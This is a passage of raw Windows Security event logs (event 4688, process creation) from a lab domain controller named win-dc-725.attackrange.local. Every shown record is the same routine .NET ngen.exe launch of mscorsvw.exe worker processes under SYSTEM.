C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 4f8 -InterruptEvent 0 -NGENProcess 4bc -Pipe 578 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:43 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254956 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc7c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 568 -InterruptEvent 0 -NGENProcess 598 -Pipe 3fc -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:43 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254955 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1050 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 4dc -InterruptEvent 0 -NGENProcess 3fc -Pipe 548 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:43 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254954 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1158 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 520 -InterruptEvent 0 -NGENProcess 578 -Pipe 518 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:43 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254953 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x3e4 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 560 -InterruptEvent 0 -NGENProcess 570 -Pipe 458 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:43 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254952 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1238 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 558 -InterruptEvent 0 -NGENProcess 568 -Pipe 484 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:43 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254951 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe34 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 548 -InterruptEvent 0 -NGENProcess 544 -Pipe 514 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:44 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254969 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc48 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 544 -InterruptEvent 0 -NGENProcess 4a8 -Pipe 590 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:44 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254968 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1254 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 5a4 -InterruptEvent 0 -NGENProcess 5a8 -Pipe 3e0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:44 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254967 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x130c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 5a4 -InterruptEvent 0 -NGENProcess 404 -Pipe 48c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:44 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254966 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x368 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 5a8 -InterruptEvent 0 -NGENProcess 560 -Pipe 598 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:44 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254965 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x240 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 480 -InterruptEvent 0 -NGENProcess 4a8 -Pipe 4f8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:44 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254964 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf9c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 464 -InterruptEvent 0 -NGENProcess 544 -Pipe 580 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:44 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254963 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13b0 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 4bc -InterruptEvent 0 -NGENProcess 48c -Pipe 444 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:44 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254962 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1120 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 598 -InterruptEvent 0 -NGENProcess 4a8 -Pipe 58c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:44 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254961 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc4c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 58c -InterruptEvent 0 -NGENProcess 598 -Pipe 54c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:44 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254960 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12a0 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 54c -InterruptEvent 0 -NGENProcess 58c -Pipe 558 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:44 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254959 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe94 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 51c -InterruptEvent 0 -NGENProcess 58c -Pipe 520 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:45 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254970 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x139c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 5a4 -InterruptEvent 0 -NGENProcess 570 -Pipe 5a8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to 